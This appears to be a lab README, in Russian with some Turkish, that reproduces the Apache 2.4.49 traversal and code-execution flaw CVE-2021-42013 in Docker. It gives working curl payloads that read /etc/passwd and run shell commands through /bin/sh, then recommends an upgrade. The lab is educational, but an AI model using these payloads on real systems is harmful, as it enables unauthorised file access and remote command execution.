
Лабораторная работа, демонстрирующая уязвимость Apache HTTP Server 2.4.49 (CVE-2021-42013) в среде Docker.
В этом проекте я продемонстрировал уязвимость CVE-2021-42013, обнаруженную в Apache HTTP Server 2.4.49, в лабораторной среде, созданной с помощью Docker.
Цель — в контролируемой среде изучить, как возникает уязвимость, как она работает и какое влияние оказывает на систему.
Эта работа подготовлена исключительно в образовательных и лабораторных целях.
.
├── Dockerfile
├── index.html
└── README.md
Перед запуском проекта должно быть установлено следующее.
Сначала скачайте репозиторий на свой компьютер.
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
Перейдите в папку.
cd apache-cve-2021-42013-lab
Создайте Docker-образ.
docker build -t apache-2.4.49-src .
Запустите контейнер.
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
Войдите в контейнер.
docker exec -it apache-src /bin/bash
Проверьте версию Apache.
/usr/local/apache2/bin/httpd -v
Чтобы выйти из контейнера:
exit
Проверить, включён ли модуль CGI, можно следующей командой.
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
Затем перезапустите Apache.
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
Чтобы отключить модуль CGI:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
Чтобы вывести дополнительную информацию о системе:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
После завершения установки:
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
Чтобы можно было продемонстрировать сценарий RCE, необходимо включить модуль mod_cgi.
Для устранения этой уязвимости рекомендуется обновить Apache HTTP Server до версии 2.4.51 или более новой. Также рекомендуется отключить CGI, если он не используется, и настроить соответствующие права доступа только для необходимых каталогов.